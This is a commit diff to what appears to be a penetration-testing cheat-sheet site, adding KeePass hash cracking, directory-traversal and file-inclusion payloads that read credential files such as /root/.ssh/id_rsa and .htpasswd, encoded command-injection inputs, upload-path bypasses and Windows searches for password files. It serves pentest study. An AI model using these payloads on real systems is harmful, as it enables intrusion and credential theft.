Skip to content

Commit 32fa1a4

Browse files
committed
updated
1 parent d664a7b commit 32fa1a4

File tree

8 files changed

+91
-32
lines changed

8 files changed

+91
-32
lines changed

src/exploit/cryptography/algorithm/kdbx-files.md

Lines changed: 11 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -4,7 +4,7 @@ description: A KDBX file is a password database created by KeePass Password Safe
44
tags:
55
- Cryptography
66
refs:
7-
date: 2023-09-01
7+
date: 2024-10-25
88
draft: false
99
---
1010

@@ -36,7 +36,16 @@ Right-click on the password value then click **Copy Password**.
3636

3737
When opening KDBX file in KeePass if you’re asked the Master Key, you need to crack the password of the KDBX file. **John The Ripper** can be used to crack the password.
3838

39-
```bash
39+
### 1. Convert to Hash
40+
41+
```sh
4042
keepass2john example.kdbx > hash.txt
43+
```
44+
45+
### 2. Crack the Hash
46+
47+
```sh
4148
john --wordlist=wordlist.txt hash.txt
49+
# or
50+
hashcat -m 13400 -a 0 hash.txt wordlist.txt
4251
```

src/exploit/linux/privilege-escalation/index.md

Lines changed: 15 additions & 16 deletions
Original file line numberDiff line numberDiff line change
@@ -6,7 +6,7 @@ tags:
66
- Remote Code Execution
77
refs:
88
- https://book.hacktricks.xyz/linux-hardening/privilege-escalation
9-
date: 2024-10-03
9+
date: 2024-10-25
1010
draft: false
1111
---
1212

@@ -35,10 +35,12 @@ uname -o
3535
uname -m
3636

3737
# OS kernel version
38-
cat /proc/version
38+
cat /etc/os-release
3939
cat /etc/*release
40+
cat /proc/version
4041

4142
# LSB (Linux Standard Base) and distribution information
43+
cat /etc/lsb-release
4244
lsb_release -a
4345
```
4446

@@ -396,36 +398,33 @@ ss -lntu
396398
ss -nptu
397399
```
398400

399-
### Access open ports that cannot be accessed from outside
401+
### Access Internal Services From Outside
400402

401-
If we discover a listen port that cannot be accessed externally as below, we can access this port by port forwarding.
403+
If we discover a listenning port that cannot be accessed externally as below, we can access the port by port forwarding or reverse port forwarding.
402404

403405
```txt
404406
tcp 0 0 127.0.0.1:8080 0.0.0.0:* LISTEN -
405407
```
406408

407409
There are various methods to do that.
408410

409-
- **Method 1. Using Socat**
411+
- **Option 1. Port Forwarding with SSH**
410412

411-
In remote machine, download the socat and run it.
413+
If we have the SSH credential, we can easily port forward as below in our local machine:
412414

413415
```sh
414-
# we need to download the socat binary file from local machine
415-
wget http://<local-ip>:<local-port>/socat
416-
chmod +x socat
417-
socat tcp-listen:8090,fork,reuseaddr tcp:localhost:8080
416+
ssh -L 8080:127.0.0.1:8080 user@<target-ip>
418417
```
419418

420-
- **Method 2. Using SSH Tunnel (SSH credential required)**
419+
See for details: [Local Port Forwarding with SSH](/exploit/network/port-forwarding/port-forwarding-with-ssh/#local-port-forwarding)
421420

422-
In local machine, run the ‘ssh -L’.
421+
- **Option 2. Reverse Port Forwarding with Chisel**
422+
423+
If we don't have the SSH credential, we can reverse port forward using Chisel.
424+
See for details: [Reverse Port Forwarding with Chisel](/exploit/network/port-forwarding/port-forwarding-with-chisel/#reverse-port-forwarding)
423425
424-
```sh
425-
ssh -L 8090:localhost:8080 remote-user@<remote-ip>
426-
```
427426
428-
Now we can access to **http://\<remote-ip\>:8090/** in local machine and actually can get the content of **http://\<remote-ip\>:8080/**.
427+
Now we can access to `http://localhost:8080` in local browser. That means we now connected to `http://127.0.0.1:8080` of remote machine.
429428
430429
<br />
431430

src/exploit/network/tool/tshark-cheat-sheet.md

Lines changed: 7 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -4,7 +4,7 @@ description: Tshark is a terminal-oriented version of Wireshark. It's a network
44
tags:
55
- Network
66
refs:
7-
date: 2024-08-20
7+
date: 2024-10-25
88
draft: false
99
---
1010

@@ -61,3 +61,9 @@ tshark -Y 'ip.dst == 127.0.0.1'
6161
```
6262

6363
<br />
64+
65+
## Dump Transferred Data
66+
67+
```bash
68+
tshark -r example.pcapng -T fields -e data -Y "ip.src == 10.0.0.2 and ip.dst == 10.0.0.3" > data.txt
69+
```

src/exploit/web/security-risk/directory-traversal.md

Lines changed: 9 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -6,7 +6,7 @@ tags:
66
refs:
77
- https://www.exploit-db.com/exploits/50383
88
- https://www.exploit-db.com/exploits/50406
9-
date: 2023-03-11
9+
date: 2024-10-25
1010
draft: false
1111
---
1212

@@ -51,6 +51,14 @@ draft: false
5151
/?file=..\..\..\windows\win.ini
5252
```
5353

54+
### Using Curl
55+
56+
If we want to test against the URL path not param, `curl` can be used with the option `--path-as-is`:
57+
58+
```bash
59+
curl --path-as-is http://example.com/../../../../etc/passwd
60+
```
61+
5462
<br />
5563

5664
## Apache 2.4.49 (CVE-2021-41773)

src/exploit/web/security-risk/file-inclusion.md

Lines changed: 27 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -5,7 +5,7 @@ tags:
55
- Web
66
refs:
77
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion
8-
date: 2024-06-15
8+
date: 2024-10-25
99
draft: false
1010
---
1111

@@ -111,6 +111,10 @@ When our payload is successful, we can additionaly investigate local files and r
111111
?pgae=/root/.profile
112112
?page=/root/.ssh/id_rsa
113113

114+
# OS
115+
?page=/etc/lsb-release
116+
?page=/etc/os-release
117+
114118
# Processes
115119
?page=/proc/net/tcp
116120
?page=/proc/self/cmdline
@@ -127,6 +131,7 @@ When our payload is successful, we can additionaly investigate local files and r
127131

128132
# Host
129133
?page=/etc/hosts
134+
?page=/etc/hostname
130135
# Cron
131136
?page=/etc/crontab
132137

@@ -141,21 +146,29 @@ When our payload is successful, we can additionaly investigate local files and r
141146
?page=/var/www/wordpress/index.php
142147

143148
# Apache
149+
?page=/etc/apache2/.htpasswd
150+
?page=/etc/apache2/apache2.conf
151+
?page=/etc/apache2/envvars
152+
?page=/etc/apache2/ports.conf
153+
?page=/etc/apache2/sites-available/domain.conf
154+
?page=/etc/apache2/sites-available/example.com.conf
155+
?page=/etc/apache2/sites-available/sub.example.com.conf
156+
?page=/etc/apache2/sites-available/sub.conf
144157
?page=/etc/apache2/sites-enabled/000-default.conf
145158
?page=/etc/apache2/sites-enabled/domain.conf
146159
?page=/etc/apache2/sites-enabled/example.com.conf
147160
?page=/etc/apache2/sites-enabled/sub.example.com.conf
148161
?page=/etc/apache2/sites-enabled/sub.conf
149-
?page=/etc/apache2/sites-available/domain.conf
150-
?page=/etc/apache2/sites-available/example.com.conf
151-
?page=/etc/apache2/sites-available/sub.example.com.conf
152-
?page=/etc/apache2/sites-available/sub.conf
153-
?page=/etc/apache2/.htpasswd
154162
?page=/var/log/apache/access.log
155163
?page=/var/log/apache/error.log
156164
?page=/var/log/apache2/access.log
157165
?page=/var/log/apache2/error.log
158166

167+
# Apache Tomcat
168+
?page=/opt/tomcat/conf/tomcat-users.xml
169+
?page=/opt/tomcat/logs/catalina.err
170+
?page=/opt/tomcat/logs/catalina.out
171+
159172
# Nginx
160173
?page=/var/log/nginx/access.log
161174
?page=/var/log/nginx/error.log
@@ -214,6 +227,14 @@ When our payload is successful, we can additionaly investigate local files and r
214227
?page=C:/xampp/phpMyAdmin/config.inc.php
215228
```
216229

230+
### Using Curl
231+
232+
If we want to test against the URL path not param, `curl` can be used with the option `--path-as-is`:
233+
234+
```bash
235+
curl --path-as-is http://example.com/../../../../etc/passwd
236+
```
237+
217238
### Read Process Commands
218239

219240
We can retrieve commands that start processes by enumerating **`/proc/PID/cmdline`**.

src/exploit/web/security-risk/file-upload-attack.md

Lines changed: 12 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -6,7 +6,7 @@ tags:
66
refs:
77
- https://docstore.mik.ua/orelly/web2/wdesign/ch19_01.htm
88
- https://saadahmedx.medium.com/exploiting-auto-save-functionality-to-steal-login-credentials-bf4c7e1594da
9-
date: 2024-05-29
9+
date: 2024-10-25
1010
draft: false
1111
---
1212

@@ -122,6 +122,17 @@ Content-Type: application/x-php
122122
------abcdefghijk
123123
```
124124

125+
Do not forget to test bypass techniques as below:
126+
127+
```sh
128+
# URL encoding
129+
%2E%2E%2Fexploit.php
130+
131+
# URL double-encoding
132+
%252E%252E%252Fexploit.php
133+
..%252Fexploit.php
134+
```
135+
125136
<br />
126137

127138
## Overwrite Server Configuration

src/exploit/web/security-risk/os-command-injection.md

Lines changed: 5 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -6,7 +6,7 @@ tags:
66
- Reverse Shell
77
- Web
88
refs:
9-
date: 2024-10-03
9+
date: 2024-10-25
1010
draft: false
1111
---
1212

@@ -66,6 +66,8 @@ We may be able to bypass specific character filter by encoding them.
6666
/?cmd=ls%0Aid
6767
# %250A: newline (double encoding)
6868
/?cmd=ls%250Aid
69+
# Adding at the end.
70+
/?cmd=ls%0Aid%0A
6971
7072
# %26: &
7173
/?cmd=ls%26id
@@ -117,8 +119,7 @@ To confirm the result, start tcpdump in our local machine.
117119
sudo tcpdump -i eth0 icmp
118120
```
119121

120-
Then execute ping command in POST request.
121-
122+
Then execute ping command in POST request.
122123
Below are examples for POST data.
123124

124125
```bash
@@ -152,7 +153,7 @@ vim shell.php
152153

153154
## Blind Command Injection (Time Delay)
154155

155-
Use **"ping"** command to check if the website will be loaded with time delay.
156+
Use `ping` command to check if the website will be loaded with time delay.
156157

157158
```txt
158159
name=michael&[email protected]||ping+-c+10+127.0.0.1||&message=hello

src/exploit/windows/privilege-escalation/index.md

Lines changed: 5 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -8,7 +8,7 @@ tags:
88
refs:
99
- https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation
1010
- https://learn.microsoft.com/en-us/powershell/scripting/samples/working-with-registry-keys?view=powershell-7.3
11-
date: 2024-10-13
11+
date: 2024-10-25
1212
draft: false
1313
---
1414

@@ -281,6 +281,10 @@ findstr /si cred c:\Users\Administrator\*.txt
281281
findstr /spin "password" *.*
282282
findstr /spin "password" c:\Users\Administrator\*
283283
284+
cmd /c dir /s/b C:\*password*
285+
cmd /c dir /s/b C:\*cred*
286+
cmd /c dir /s/b C:\*.txt
287+
284288
# List files
285289
# /a: Displays only the names of those directories and files.
286290
dir /a \Users\Administrator\Desktop

0 commit comments

Comments
 (0)